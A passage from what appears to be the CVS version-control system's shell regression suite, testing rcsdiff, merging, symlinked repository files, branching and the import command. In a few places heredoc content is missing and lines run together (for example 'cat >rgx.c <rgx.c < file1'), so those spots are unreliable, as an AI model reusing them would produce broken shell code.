<-- foo\\.c\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest rcsdiff-7 \"${testcvs} tag second foo.c\" \"T foo\\.c\"\n\t dotest rcsdiff-8 \"${testcvs} update -p -r second foo.c\" \\\n\"===================================================================\nChecking out foo\\.c\nRCS: ${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\nVERS: 1\\.2\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nI am the second foo, and my name is \\$\"\"Name: second \\$\\.\"\n\n\tdotest_fail rcsdiff-9 \"${testcvs} diff -r first -r second\" \\\n\"${PROG} diff: Diffing \\.\nIndex: foo\\.c\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\ndiff -r1\\.1 -r1\\.2\n1c1\n< I am the first foo, and my name is \\$\"\"Name: \\$\\.\n---\n> I am the second foo, and my name is \\$\"\"Name: \\$\\.\"\n\n\t echo \"I am the once and future foo, and my name is $\"\"Name$.\" > foo.c\n\t dotest_fail rcsdiff-10 \"${testcvs} diff -r first\" \\\n\"${PROG} diff: Diffing \\.\nIndex: foo\\.c\n===================================================================\nRCS file: ${CVSROOT_DIRNAME}/first-dir/foo\\.c,v\nretrieving revision 1\\.1\ndiff -r1\\.1 foo\\.c\n1c1\n< I am the first foo, and my name is \\$\"\"Name: \\$\\.\n---\n> I am the once and future foo, and my name is \\$\"\"Name\\$\\.\"\n\n\t # Test handling of libdiff options. diff gets quite enough\n\t # of a workout elsewhere in sanity.sh, so we assume that it's\n\t # mostly working properly if it passes all the other tests.\n\t # The main one we want to try is regex handling, since we are\n\t # using CVS's regex matcher and not diff's.\n\n\t cat >rgx.c <rgx.c < file1\n\t echo '2' >> file1\n\t echo '3' >> file1\n\t dotest rcslib-merge-4 \"${testcvs} -q add file1\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest rcslib-merge-5 \"${testcvs} -q commit -m '' file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t sed -e 's/2/two/' file1 > f; mv f file1\n\t dotest rcslib-merge-6 \"${testcvs} -q commit -m '' file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest rcslib-merge-7 \"${testcvs} -q tag -b -r 1.1 patch1\" \"T file1\"\n\t dotest rcslib-merge-8 \"${testcvs} -q update -r patch1\" \"[UP] file1\"\n\t dotest rcslib-merge-9 \"${testcvs} -q status\" \\\n\"===================================================================\nFile: file1 \tStatus: Up-to-date\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/file1,v\n Sticky Tag:\t\tpatch1 (branch: 1\\.1\\.2)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest rcslib-merge-10 \"cat file1\" \\\n'$''Revision: 1\\.1 $\n2\n3'\n\t sed -e 's/3/three/' file1 > f; mv f file1\n\t dotest rcslib-merge-11 \"${testcvs} -q commit -m '' file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest rcslib-merge-12 \"${testcvs} -q update -kv -j1.2\" \\\n\"U file1\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into file1\nrcsmerge: warning: conflicts during merge\"\n\t dotest rcslib-merge-13 \"cat file1\" \\\n\"<<<<<<< file1\n1\\.1\\.2\\.1\n2\nthree\n[=]======\n1\\.2\ntwo\n3\n[>]>>>>>> 1\\.2\"\n\n\t # Test behavior of symlinks in the repository.\n\t if test -n \"$remotehost\"; then\n\t # Create the link on the remote system. This is because Cygwin's\n\t # Windows support creates *.lnk files for Windows. When creating\n\t # these in an SMB share from UNIX, these links won't work from the\n\t # UNIX side.\n\t dotest rcslib-symlink-1remotehost \"${CVS_RSH} $remotehost 'ln -s file1,v ${CVSROOT_DIRNAME}/first-dir/file2,v'\"\n\t else\n\t dotest rcslib-symlink-1 \"ln -s file1,v ${CVSROOT_DIRNAME}/first-dir/file2,v\"\n\t fi\n\t dotest rcslib-symlink-2 \"${testcvs} update file2\" \"U file2\"\n\t echo \"This is a change\" >> file2\n\t dotest rcslib-symlink-3 \"${testcvs} ci -m because file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file2\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\n\t # Switch as for rcslib-symlink-1\n\t if test -n \"$remotehost\"; then\n\t dotest rcslib-symlink-4 \"$CVS_RSH $remotehost 'ls -l $CVSROOT_DIRNAME/first-dir/file2,v'\" \\\n\".*$CVSROOT_DIRNAME/first-dir/file2,v -> file1,v\"\n\t else\n\t dotest rcslib-symlink-4 \"ls -l $CVSROOT_DIRNAME/first-dir/file2,v\" \\\n\".*$CVSROOT_DIRNAME/first-dir/file2,v -> file1,v\"\n\t fi\n\n\t # CVS was failing to check both the symlink and the file\n\t # for timestamp changes for a while. Test that.\n\t rm file1\n\t dotest rcslib-symlink-3a \"${testcvs} -q up file1\" \\\n\"${PROG} update: warning: file1 was lost\nU file1\"\n\t echo \"This is a change\" >> file1\n\t dotest rcslib-symlink-3b \"${testcvs} ci -m because file1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.[0-9]*; previous revision: 1\\.1\\.2\\.[0-9]*\ndone\"\n\t dotest rcslib-symlink-3c \"${testcvs} update file2\" \"[UP] file2\"\n\n\t echo some new text >file3\n\t dotest rcslib-symlink-3d \"${testcvs} -Q add file3\" ''\n\t dotest rcslib-symlink-3e \"${testcvs} -Q ci -mtest file3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/Attic/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t rm -f ${CVSROOT_DIRNAME}/first-dir/file2,v\n\t # As for rcslib-symlink-1\n\t if test -n \"$remotehost\"; then\n\t dotest rcslib-symlink-3f \"$CVS_RSH $remotehost 'ln -s Attic/file3,v ${CVSROOT_DIRNAME}/first-dir/file2,v'\"\n\t else\n\t dotest rcslib-symlink-3f \"ln -s Attic/file3,v ${CVSROOT_DIRNAME}/first-dir/file2,v\"\n\t fi\n\n\t dotest rcslib-symlink-3g \"${testcvs} update file2\" \"U file2\"\n\n\t # restore the link to file1 for the following tests\n\t dotest rcslib-symlink-3i \"${testcvs} -Q rm -f file3\" ''\n\t dotest rcslib-symlink-3j \"${testcvs} -Q ci -mwhatever file3\" \\\n\"Removing file3;\n${CVSROOT_DIRNAME}/first-dir/Attic/file3,v <-- file3\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\"\n\t rm -f ${CVSROOT_DIRNAME}/first-dir/file2,v\n\t rm -f ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\n\t # As for rcslib-symlink-1\n\t if test -n \"$remotehost\"; then\n\t dotest rcslib-symlink-3h \"$CVS_RSH $remotehost 'ln -s file1,v ${CVSROOT_DIRNAME}/first-dir/file2,v'\"\n\t else\n\t dotest rcslib-symlink-3h \"ln -s file1,v ${CVSROOT_DIRNAME}/first-dir/file2,v\"\n\t fi\n\n\t # Test 5 reveals a problem with having symlinks in the\n\t # repository. CVS will try to tag both of the files\n\t # separately. After processing one, it will do the same\n\t # operation to the other, which is actually the same file,\n\t # so the tag will already be there. FIXME: do we bother\n\t # changing operations to notice cases like this? This\n\t # strikes me as a difficult problem. -Noel\n\t dotest rcslib-symlink-5 \"${testcvs} tag the_tag\" \\\n\"${PROG} tag: Tagging .\nT file1\nW file2 : the_tag already exists on version 1.1.2.3 : NOT MOVING tag to version 1.1.2.1\"\n\t # As for rcslib-symlink-1\n\t if test -n \"$remotehost\"; then\n\t dotest rcslib-symlink-6 \"$CVS_RSH $remotehost 'ls -l $CVSROOT_DIRNAME/first-dir/file2,v'\" \\\n\".*$CVSROOT_DIRNAME/first-dir/file2,v -> file1,v\"\n\t else\n\t dotest rcslib-symlink-6 \"ls -l $CVSROOT_DIRNAME/first-dir/file2,v\" \\\n\".*$CVSROOT_DIRNAME/first-dir/file2,v -> file1,v\"\n\t fi\n\n\t # Symlinks tend to interact poorly with the Attic.\n\t cd ..\n\t mkdir 2; cd 2\n\t dotest rcslib-symlink-7 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\"\n\t cd first-dir\n\t dotest rcslib-symlink-8 \"${testcvs} rm -f file2\" \\\n\"${PROG} remove: scheduling .file2. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest rcslib-symlink-9 \"${testcvs} -q ci -m rm-it\" \\\n\"Removing file2;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file2\nnew revision: delete; previous revision: 1\\.2\ndone\"\n\t # OK, why this message happens twice is relatively clear\n\t # (the check_* and rtag_* calls to start_recursion).\n\t # Why it happens a third time I didn't try to find out.\n\t dotest rcslib-symlink-10 \\\n\"${testcvs} -q rtag -b -r the_tag brtag first-dir\" \\\n\"${PROG} rtag: could not read RCS file for file2\n${PROG} rtag: could not read RCS file for first-dir/file2\n${PROG} rtag: could not read RCS file for first-dir/file2\"\n\n\t # Restore file1 for the next test.\n\t dotest rcslib-long-symlink-init-1 \"$testcvs -Q up -A\"\n\t dotest rcslib-long-symlink-init-2 \"$testcvs -Q add file1\"\n\t dotest rcslib-long-symlink-init-3 \"$testcvs -Q ci -mback\" \\\n\"Checking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\n\t cd ../.. # $TESTDIR\n\n\t # CVS has a hard-coded default link path size of 127 characters.\n\t # Make sure it knows how to exceed that.\n\t longpath=$CVSROOT_DIRNAME\n\t count=0\n\t while test $count -lt 10; do\n\t count=`expr $count + 1`\n\t longpath=$longpath/123456789012345678901234567890\n\t mkdir $longpath\n\t done\n\t cp $CVSROOT_DIRNAME/first-dir/file1,v $longpath\n\t mkdir $CVSROOT_DIRNAME/second-dir\n\n\t # Switch as for rcslib-symlink-1\n\t if test -n \"$remotehost\"; then\n\t dotest rcslib-long-symlink-1rh \\\n\"$CVS_RSH $remotehost 'ln -s $longpath/file1,v $CVSROOT_DIRNAME/second-dir/fileX,v'\"\n\t else\n\t dotest rcslib-long-symlink-1 \\\n\"ln -s $longpath/file1,v $CVSROOT_DIRNAME/second-dir/fileX,v\"\n\t fi\n\n\t dotest rcslib-long-symlink-2 \"$testcvs co second-dir\" \\\n\"$PROG checkout: Updating second-dir\nU second-dir/fileX\"\n\n\t cd second-dir\n\t echo change-it >>fileX\n\n\t # Writes actually cause symlinks to be resolved.\n\t dotest rcslib-long-symlink-3 \"$testcvs -q ci -mwrite-it\" \\\n\"Checking in fileX;\n$CVSROOT_DIRNAME/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/123456789012345678901234567890/file1,v <-- fileX\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t # Must remove the symlink first. Samba doesn't appear to show\n\t # broken symlink across the SMB share, and rm -rf by itself\n\t # will remove file1,v first and leave file2,v a broken link and the\n\t # rm -rf will fail since it doesn't find file2,v and it still gets\n\t # directory not empty errors removing cvsroot/first-dir.\n\t #\n\t # I'm not sure why I need to do this on $remotehost. The rm above\n\t # rcslib-symlink-3j works fine, but the next one doesn't unless run\n\t # remotely under Cygwin and using a TESTDIR on a Samba share.\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \\\n\"rm -f $CVSROOT_DIRNAME/first-dir/file2,v $CVSROOT_DIRNAME/second-dir/fileX,v\"\n\t fi\n\t rm -rf $CVSROOT_DIRNAME/first-dir $CVSROOT_DIRNAME/second-dir \\\n\t\t $CVSROOT_DIRNAME/123456789012345678901234567890\n\t rm -r first-dir second-dir 2\n\t ;;\n\n\tmultibranch)\n\t # Test the ability to have several branchpoints coming off the\n\t # same revision.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t dotest multibranch-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\t echo 1:trunk-1 >file1\n\t dotest multibranch-2 \"${testcvs} add file1\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest_lit multibranch-3 \"${testcvs} -q ci -m add-it\" <file1\n\t dotest multibranch-7 \"${testcvs} -q ci -m modify-on-br1\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest multibranch-8 \"${testcvs} -q update -r br2\" '[UP] file1'\n\t echo br2 adds a line >>file1\n\t dotest multibranch-9 \"${testcvs} -q ci -m modify-on-br2\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.4\\.1; previous revision: 1\\.1\ndone\"\n\t dotest multibranch-10 \"${testcvs} -q update -r br1\" '[UP] file1'\n\t dotest multibranch-11 \"cat file1\" 'on-br1'\n\t dotest multibranch-12 \"${testcvs} -q update -r br2\" '[UP] file1'\n\t dotest multibranch-13 \"cat file1\" '1:trunk-1\nbr2 adds a line'\n\n\t dotest multibranch-14 \"${testcvs} log file1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbr2: 1\\.1\\.0\\.4\n\tbr1: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2; 1\\.1\\.4;\nadd-it\n----------------------------\nrevision 1\\.1\\.4\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nmodify-on-br2\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nmodify-on-br1\n=============================================================================\"\n\t cd ..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t rm -r first-dir\n\t ;;\n\n\timport) # test death after import\n\t\t# Tests of \"cvs import\":\n\t\t# basic2\n\t\t# rdiff -- imports with keywords\n\t\t# import -- more tests of imports with keywords\n\t\t# importb -- -b option.\n\t\t# importc -- bunch o' files in bunch o' directories\n\t\t# modules3\n\t\t# mflag -- various -m messages\n\t\t# ignore -- import and cvsignore\n\t\t# binwrap -- import and -k wrappers\n\t\t# info -- imports which are rejected by verifymsg\n\t\t# head -- intended to test vendor branches and HEAD,\n\t\t# although it doesn't really do it yet.\n\t\t# import-CVS -- refuse to import directories named \"CVS\".\n\t\t# import-quirks -- short tests of import quirks.\n\n\t\t# import\n\t\tmkdir import-dir ; cd import-dir\n\n\t\tfor i in 1 2 3 4 ; do\n\t\t echo imported file\"$i\" > imported-f\"$i\"\n\t\tdone\n\n\t\t# This directory should be on the default ignore list,\n\t\t# so it shouldn't get imported.\n\t\tmkdir RCS\n\t\techo ignore.me >RCS/ignore.me\n\n\t\techo 'import should not expand $''Id$' >>imported-f2\n\t\tcp imported-f2 ../imported-f2-orig.tmp\n\n\t\tdotest_sort import-96 \\\n\"${testcvs} import -m first-import first-dir vendor-branch junk-1_0\" \\\n\"\n\nI first-dir/RCS\nN first-dir/imported-f1\nN first-dir/imported-f2\nN first-dir/imported-f3\nN first-dir/imported-f4\nNo conflicts created by this import\"\n\n\t\tdotest import-96.5 \"cmp ../imported-f2-orig.tmp imported-f2\" ''\n\n\t\tcd ..\n\n\t\t# co\n\t\tdotest import-97 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/imported-f1\nU first-dir/imported-f2\nU first-dir/imported-f3\nU first-dir/imported-f4\"\n\n\t\tcd first-dir\n\n\t\tfor i in 1 2 3 4 ; do\n\t\t dotest import-98-$i \"test -f imported-f$i\" ''\n\t\tdone\n\t\tdotest_fail import-98.5 \"test -d RCS\" ''\n\n\t\t# remove\n\t\trm imported-f1\n\t\tdotest import-99 \"${testcvs} rm imported-f1\" \\\n\"${PROG}\"' remove: scheduling `imported-f1'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove this file permanently'\n\n\t\t# change\n\t\techo local-change >> imported-f2\n\n\t\t# commit\n\t\tdotest import-100 \"${testcvs} ci -m local-changes\" \\\n\"${PROG} [a-z]*: Examining .\nRemoving imported-f1;\n${CVSROOT_DIRNAME}/first-dir/imported-f1,v <-- imported-f1\nnew revision: delete; previous revision: 1\\.1\\.1\\.1\ndone\nChecking in imported-f2;\n${CVSROOT_DIRNAME}/first-dir/imported-f2,v <-- imported-f2\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t\t# log\n\t\tdotest import-101 \"${testcvs} log imported-f1\" \\\n\"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/imported-f1,v\nWorking file: imported-f1\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tjunk-1_0: 1\\.1\\.1\\.1\n\tvendor-branch: 1\\.1\\.1\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: dead; lines: ${PLUS}0 -0\nlocal-changes\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.1;\nInitial revision\n----------------------------\nrevision 1\\.1\\.1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}0 -0\nfirst-import\n=============================================================================\"\n\n\t\t# update into the vendor branch.\n\t\tdotest import-102 \"$testcvs update -rvendor-branch\" \\\n\"$PROG update: Updating .\nU imported-f1\n[UP] imported-f2\n[UP] imported-f3\n[UP] imported-f4\"\n\n\t\t# remove file4 on the vendor branch\n\t\trm imported-f4\n\t\tdotest import-103 \"${testcvs} rm imported-f4\" \\\n\"${PROG}\"' remove: scheduling `imported-f4'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove this file permanently'\n\n\t\t# commit\n\t\tdotest import-104 \\\n\"${testcvs} ci -m vendor-removed imported-f4\" \\\n\"Removing imported-f4;\n${CVSROOT_DIRNAME}/first-dir/imported-f4,v <-- imported-f4\nnew revision: delete; previous revision: 1\\.1\\.1\\.1\ndone\"\n\n\t\t# update to main line\n\t\tdotest import-105 \"$testcvs -q update -A\" \\\n\"$PROG update: imported-f1 is no longer in the repository\n[UP] imported-f2\n[UP] imported-f3\"\n\n\t\t# second import - file4 deliberately unchanged\n\t\tcd ../import-dir\n\t\tfor i in 1 2 3 ; do\n\t\t echo rev 2 of file $i >> imported-f\"$i\"\n\t\tdone\n\t\tcp imported-f2 ../imported-f2-orig.tmp\n\n\t\tdotest_sort import-106 \\\n\"${testcvs} import -m second-import first-dir vendor-branch junk-2_0\" \\\n\"\n\n\n ${PROG} checkout -j -jjunk-2_0 first-dir\n2 conflicts created by this import.\nC first-dir/imported-f1\nC first-dir/imported-f2\nI first-dir/RCS\nU first-dir/imported-f3\nU first-dir/imported-f4\nUse the following command to help the merge:\"\n\n\t\tdotest import-106.5 \"cmp ../imported-f2-orig.tmp imported-f2\" \\\n''\n\n\t\tcd ..\n\n\t\trm imported-f2-orig.tmp\n\n\t\t# co\n\t\tdotest import-107 \"${testcvs} co first-dir\" \\\n\"${PROG} checkout: Updating first-dir\n[UP] first-dir/imported-f3\n[UP] first-dir/imported-f4\"\n\n\t\tcd first-dir\n\n\t\tdotest_fail import-108 \"test -f imported-f1\" ''\n\n\t\tfor i in 2 3 ; do\n\t\t dotest import-109-$i \"test -f imported-f$i\" ''\n\t\tdone\n\n\t\t# check vendor branch for file4\n\t\tdotest import-110 \"$testcvs -q update -rvendor-branch\" \\\n'U imported-f1\n[UP] imported-f2\n[UP] imported-f3\n[UP] imported-f4'\n\n\t\tdotest import-111 \"test -f imported-f4\" ''\n\n\t\t# update to main line\n\t\tdotest import-112 \"$testcvs -q update -A\" \\\n\"$PROG update: imported-f1 is no longer in the repository\n[UP] imported-f2\n[UP] imported-f3\n[UP] imported-f4\"\n\n\t\tcd ..\n\n\t\tdotest import-113 \\\n\"${testcvs} -q co -jjunk-1_0 -jjunk-2_0 first-dir\" \\\n\"${PROG} checkout: file first-dir/imported-f1 does not exist, but is present in revision junk-2_0\nRCS file: ${CVSROOT_DIRNAME}/first-dir/imported-f2,v\nretrieving revision 1\\.1\\.1\\.1\nretrieving revision 1\\.1\\.1\\.2\nMerging differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.2 into imported-f2\nrcsmerge: warning: conflicts during merge\nfirst-dir/imported-f3 already contains the differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.2\nfirst-dir/imported-f4 already contains the differences between 1\\.1\\.1\\.1 and 1\\.1\\.1\\.3\"\n\n\t\tcd first-dir\n\n\t\tdotest_fail import-114 \"test -f imported-f1\" ''\n\n\t\tfor i in 2 3 ; do\n\t\t dotest import-115-$i \"test -f imported-f$i\" ''\n\t\tdone\n\n\t\tdotest import-116 'cat imported-f2' \\\n'imported file2\n[<]<<<<<< imported-f2\nimport should not expand \\$''Id: imported-f2,v 1\\.2 [0-9/]* [0-9:]* '\"${username}\"' Exp \\$\nlocal-change\n[=]======\nimport should not expand \\$''Id: imported-f2,v 1\\.1\\.1\\.2 [0-9/]* [0-9:]* '\"${username}\"' Exp \\$\nrev 2 of file 2\n[>]>>>>>> 1\\.1\\.1\\.2'\n\n\t\tcd ..\n\t\trm -r first-dir\n\t\trm -rf ${CVSROOT_DIRNAME}/first-dir\n\t\trm -r import-dir\n\t\t;;\n\n\timportb)\n\t # More cvs import tests, especially -b option.\n\n\t # OK, first we get some sources from the NetMunger project, and\n\t # import them into the 1.1.1 vendor branch.\n\t mkdir imp-dir\n\t cd imp-dir\n\t echo 'OpenMunger sources' >file1\n\t echo 'OpenMunger sources' >file2\n\t dotest_sort importb-1 \\\n\"${testcvs} import -m add first-dir openmunger openmunger-1_0\" \\\n\"\n\nN first-dir/file1\nN first-dir/file2\nNo conflicts created by this import\"\n\t cd ..\n\t rm -r imp-dir\n\n\t # Now we put the sources we get from FreeMunger into 1.1.3\n\t mkdir imp-dir\n\t cd imp-dir\n\t echo 'FreeMunger sources' >file1\n\t echo 'FreeMunger sources' >file2\n\t # Not completely sure how the conflict detection is supposed to\n\t # be working here (haven't really thought about it).\n\t # We use an explicit -d option to test that it is reflected\n\t # in the suggested checkout.\n\t dotest_sort importb-2 \\\n\"${testcvs} -d ${CVSROOT} import -m add -b 1.1.3 first-dir freemunger freemunger-1_0\" \\\n\"\n\n\n ${PROG} -d ${CVSROOT} checkout -j -jfreemunger-1_0 first-dir\n2 conflicts created by this import.\nC first-dir/file1\nC first-dir/file2\nUse the following command to help the merge:\"\n\t cd ..\n\t rm -r imp-dir\n\n\t # Now a test of main branch import (into second-dir, not first-dir).\n\t mkdir imp-dir\n\t cd imp-dir\n\t echo 'my own stuff' >mine1.c\n\t echo 'my own stuff' >mine2.c\n\t dotest_fail importb-3 \\\n\"${testcvs} import -m add -b 1 second-dir dummy really_dumb_y\" \\\n\"$PROG \\[import aborted\\]: Only numeric branch specifications with two dots are\nsupported by import, not \\`1'\\. For example: \\`1\\.1\\.1'\\.\"\n\t : when we implement main-branch import, should be \\\n\"N second-dir/mine1\\.c\nN second-dir/mine2\\.c\n\nNo conflicts created by this import\"\n\t cd ..\n\t rm -r imp-dir\n\n\t mkdir 1\n\t cd 1\n\t # when we implement main branch import, will want to \n\t # add \"second-dir\" here.\n\t dotest importb-4 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\"\n\t cd first-dir\n\t dotest importb-5 \"${testcvs} -q log file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch: 1\\.1\\.1\nlocks: strict\naccess list:\nsymbolic names:\n\tfreemunger-1_0: 1\\.1\\.3\\.1\n\tfreemunger: 1\\.1\\.3\n\topenmunger-1_0: 1\\.1\\.1\\.1\n\topenmunger: 1\\.1\\.1\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.1; 1\\.1\\.3;\nInitial revision\n----------------------------\nrevision 1\\.1\\.3\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -1\nadd\n----------------------------\nrevision 1\\.1\\.1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}0 -0\nadd\n=============================================================================\"\n\n\t cd ../..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir ${CVSROOT_DIRNAME}/second-dir\n\t ;;\n\n\timportc)\n\t # Test importing a bunch o' files in a bunch o' directories.\n\t # Also the -d option.\n\t mkdir 1; cd 1\n\t mkdir adir bdir cdir\n\t mkdir adir/sub1 adir/sub2\n\t mkdir adir/sub1/ssdir\n\t mkdir bdir/subdir\n\t touch adir/sub1/file1 adir/sub2/file2 adir/sub1/ssdir/ssfile\n\t touch -t 197107040343 bdir/subdir/file1\n\t touch -t 203412251801 cdir/cfile\n\t dotest_sort importc-1 \\\n\"${testcvs} import -d -m import-it first-dir vendor release\" \\\n\"\n\nN first-dir/adir/sub1/file1\nN first-dir/adir/sub1/ssdir/ssfile\nN first-dir/adir/sub2/file2\nN first-dir/bdir/subdir/file1\nN first-dir/cdir/cfile\nNo conflicts created by this import\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/adir\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/adir/sub1\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/adir/sub1/ssdir\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/adir/sub2\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/bdir\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/bdir/subdir\n${PROG} import: Importing ${CVSROOT_DIRNAME}/first-dir/cdir\"\n\t cd ..\n\t mkdir 2; cd 2\n\t dotest importc-2 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/adir/sub1/file1\nU first-dir/adir/sub1/ssdir/ssfile\nU first-dir/adir/sub2/file2\nU first-dir/bdir/subdir/file1\nU first-dir/cdir/cfile\"\n\t cd first-dir\n\t dotest importc-3 \"${testcvs} update adir/sub1\" \\\n\"${PROG} update: Updating adir/sub1\n${PROG} update: Updating adir/sub1/ssdir\"\n\t dotest importc-4 \"${testcvs} update adir/sub1 bdir/subdir\" \\\n\"${PROG} update: Updating adir/sub1\n${PROG} update: Updating adir/sub1/ssdir\n${PROG} update: Updating bdir/subdir\"\n\n\t echo modify >>cdir/cfile\n\t dotest importc-5 \\\n\"${testcvs} -q rtag -b -r release wip_test first-dir\" \"\"\n\t dotest importc-6 \"$testcvs -q update -r wip_test\" \\\n'U adir/sub1/file1\nU adir/sub1/ssdir/ssfile\nU adir/sub2/file2\nU bdir/subdir/file1\nM cdir/cfile'\n\n\t # This used to fail in local mode\n\t dotest importc-7 \"${testcvs} -q ci -m modify -r wip_test\" \\\n\"Checking in cdir/cfile;\n${CVSROOT_DIRNAME}/first-dir/cdir/cfile,v <-- cfile\nnew revision: 1\\.1\\.1\\.1\\.2\\.1; previous revision: 1\\.1\\.1\\.1\ndone\"\n\n\t # TODO: should also be testing \"import -d\" when we update\n\t # an existing file.\n\t dotest importc-8 \"${testcvs} -q log cdir/cfile\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/cdir/cfile,v\nWorking file: cdir/cfile\nhead: 1\\.1\nbranch: 1\\.1\\.1\nlocks: strict\naccess list:\nsymbolic names:\n\twip_test: 1\\.1\\.1\\.1\\.0\\.2\n\trelease: 1\\.1\\.1\\.1\n\tvendor: 1\\.1\\.1\nkeyword substitution: kv\ntotal revisions: 3;\tselected revisions: 3\ndescription:\n----------------------------\nrevision 1\\.1\ndate: 2034/12/2[4-6] [0-9][0-9]:01:[0-9][0-9]; author: ${username}; state: Exp;\nbranches: 1\\.1\\.1;\nInitial revision\n----------------------------\nrevision 1\\.1\\.1\\.1\ndate: 2034/12/2[4-6] [0-9][0-9]:01:[0-9][0-9]; author: ${username}; state: Exp; lines: ${PLUS}0 -0\nbranches: 1\\.1\\.1\\.1\\.2;\nimport-it\n----------------------------\nrevision 